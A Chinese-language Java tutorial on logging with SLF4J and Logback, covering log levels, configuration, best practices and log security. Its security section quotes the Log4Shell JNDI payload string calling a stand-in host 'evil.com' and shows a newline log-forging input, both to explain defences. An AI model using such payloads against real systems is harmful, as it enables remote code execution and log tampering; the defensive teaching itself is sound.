为什么需要日志
你总不能上线后还到处 System.out.println 吧?日志就是给程序写日记——记录程序运行过程中发生了什么,出了问题能回头查
System.out.println 的问题:
没有级别区分(不知道是普通信息还是错误)
没有时间戳(不知道什么时候发生的)
只能输出到控制台(服务器上看不到)
不能按条件过滤
性能差
日志级别
从低到高,越往上越严重。生产环境一般设置为 INFO 级别,低于 INFO 的不输出
| 级别 |
用途 |
示例 |
| TRACE |
最细粒度追踪,一般不用 |
进入某个方法 |
| DEBUG |
开发调试信息 |
查询SQL、方法参数、中间变量 |
| INFO |
重要业务信息 |
用户登录成功、订单创建、服务启动 |
| WARN |
警告,不影响运行但需注意 |
配置缺失用了默认值、重试操作 |
| ERROR |
错误,影响功能但服务还活着 |
接口调用失败、数据库异常 |
记忆口诀:开发用DEBUG,上线用INFO,出问题看ERROR
1 2 3 4 5 6 7 8 9 10 11
| @Test public void testLogLevel() {
Logger log = LoggerFactory.getLogger(getClass());
log.trace("这是trace,基本不用"); log.debug("查询用户,userId={}", 12345); log.info("用户登录成功,username={}", "zhangsan"); log.warn("缓存未命中,走数据库查询"); log.error("调用支付接口失败,orderId={}", "ORD001"); }
|
日志框架体系
Java日志框架很乱,但你只要记住一个组合:SLF4J + Logback
1 2 3
| 你的代码 → SLF4J(门面/接口) → Logback(实现) → Log4j2(另一个实现) → JUL(Java自带,没人用)
|
SLF4J(Simple Logging Facade for Java):只是一个接口/门面,不干活
Logback:真正干活的实现,Spring Boot 默认用的就是这个
为什么要分门面和实现?解耦啊!以后想换日志框架,代码一行不用改,只换依赖就行
| 框架 |
角色 |
说明 |
| SLF4J |
门面(接口) |
只定义API,不实现 |
| Logback |
实现 |
Spring Boot默认,性能好 |
| Log4j2 |
实现 |
Apache出品,功能强 |
| Log4j 1.x |
已淘汰 |
别用了,有安全漏洞 |
使用方式
方式一:手动获取Logger
1 2 3 4 5 6 7 8 9 10 11 12
| import org.slf4j.Logger; import org.slf4j.LoggerFactory;
public class UserService { private static final Logger log = LoggerFactory.getLogger(UserService.class);
public void login(String username) { log.info("用户开始登录, username={}", username); log.info("用户登录成功, username={}", username); } }
|
方式二:用Lombok的 @Slf4j 注解(推荐,省一行代码)
1 2 3 4 5 6 7 8
| import lombok.extern.slf4j.Slf4j;
@Slf4j public class UserService { public void login(String username) { log.info("用户开始登录, username={}", username); } }
|
日志配置:logback.xml
在 src/main/resources/logback.xml 或 logback-spring.xml 里配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <configuration>
<appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender"> <encoder> <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern> </encoder> </appender>
<appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender"> <file>logs/app.log</file> <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy"> <fileNamePattern>logs/app.%d{yyyy-MM-dd}.log</fileNamePattern> <maxHistory>30</maxHistory> </rollingPolicy> <encoder> <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern> </encoder> </appender>
<logger name="com.example.mapper" level="DEBUG" />
<root level="INFO"> <appender-ref ref="CONSOLE" /> <appender-ref ref="FILE" /> </root> </configuration>
|
输出格式说明
| 占位符 |
含义 |
%d{pattern} |
日期时间 |
%thread |
线程名 |
%-5level |
日志级别(左对齐,5字符宽) |
%logger{36} |
Logger名(最长36字符) |
%msg |
日志消息 |
%n |
换行 |
日志最佳实践
实践1:用占位符,不要用字符串拼接
1 2 3 4 5 6 7 8 9 10 11 12
| @Test public void testLogPlaceholder() { Logger log = LoggerFactory.getLogger(getClass()); String username = "zhangsan"; int age = 25;
log.debug("用户信息: name=" + username + ", age=" + age);
log.debug("用户信息: name={}, age={}", username, age); }
|
实践2:异常日志要带堆栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| @Test public void testLogException() { Logger log = LoggerFactory.getLogger(getClass());
try { int result = 1 / 0; } catch (Exception e) { log.error("计算失败: " + e.getMessage());
e.printStackTrace();
log.error("计算失败", e); } }
|
实践3:合理选择日志级别
方法入参出参 → DEBUG
业务关键节点 → INFO(用户登录、下单、支付)
可恢复的异常 → WARN(重试成功)
不可恢复的异常 → ERROR
实践4:不要在循环里打日志
1 2 3 4 5 6 7 8 9
| for (User user : userList) { log.info("处理用户: {}", user.getName()); }
log.info("开始处理用户列表, size={}", userList.size());
log.info("处理完成, 成功={}, 失败={}", successCount, failCount);
|
⭐ 安全角度:日志安全
日志注入
用户输入直接写进日志,攻击者可以伪造日志内容,甚至执行代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| @Test public void testLogInjection() { Logger log = LoggerFactory.getLogger(getClass());
String maliciousUsername = "admin\n2024-01-15 INFO 用户admin登录成功";
log.info("登录尝试, username={}", maliciousUsername);
String safe = maliciousUsername.replaceAll("[\\r\\n]", "_"); log.info("登录尝试, username={}", safe); }
|
Log4Shell(CVE-2021-44228)——史上最严重的漏洞之一
Log4j 2.x 的 JNDI 注入漏洞,攻击者只要让服务器记录一条包含 ${jndi:ldap://evil.com/exploit} 的日志就能远程执行代码(RCE)
影响:几乎所有用Java的公司都中招了(Minecraft、Apple、Amazon…)
防御:升级Log4j到安全版本、用Logback替代、禁用JNDI lookup
敏感信息泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| @Test public void testSensitiveLog() { Logger log = LoggerFactory.getLogger(getClass());
String password = "myP@ssw0rd"; String idCard = "110101199001011234"; String bankCard = "6222021234567890123";
log.info("用户注册, password={}, 身份证={}", password, idCard);
log.info("用户注册, password=***, 身份证={}****{}", idCard.substring(0, 6), idCard.substring(14));
}
|
| 不该出现在日志里的内容 |
替代方案 |
| 密码 |
打印 *** |
| 身份证号 |
只显示前6后4 |
| 银行卡号 |
只显示后4位 |
| 手机号 |
中间4位用 **** |
| Token/密钥 |
只显示前几位 |
常见坑
坑1:导入了错误的Logger包。要用 org.slf4j.Logger,不要用 java.util.logging.Logger
坑2:日志级别配太低(比如生产环境用DEBUG),日志文件暴涨,磁盘撑爆
坑3:log.error("失败", e) 和 log.error("失败: {}", e) 不一样!后者只打印 e.toString(),不带堆栈
坑4:日志文件没配滚动策略,单个文件几十G
坑5:用了 @Slf4j 但项目没加Lombok依赖,编译报错
练习题
题1:配置一个 logback-spring.xml,要求:控制台输出所有级别、文件只输出WARN及以上、文件按天滚动保留7天
题2:封装一个日志工具方法,自动对手机号、身份证号做脱敏处理
题3(⭐ 安全题):以下代码有什么安全风险?
1 2 3 4 5 6
| @PostMapping("/login") public Result login(@RequestBody LoginRequest req) { log.info("登录请求: {}", JSON.toJSONString(req));
}
|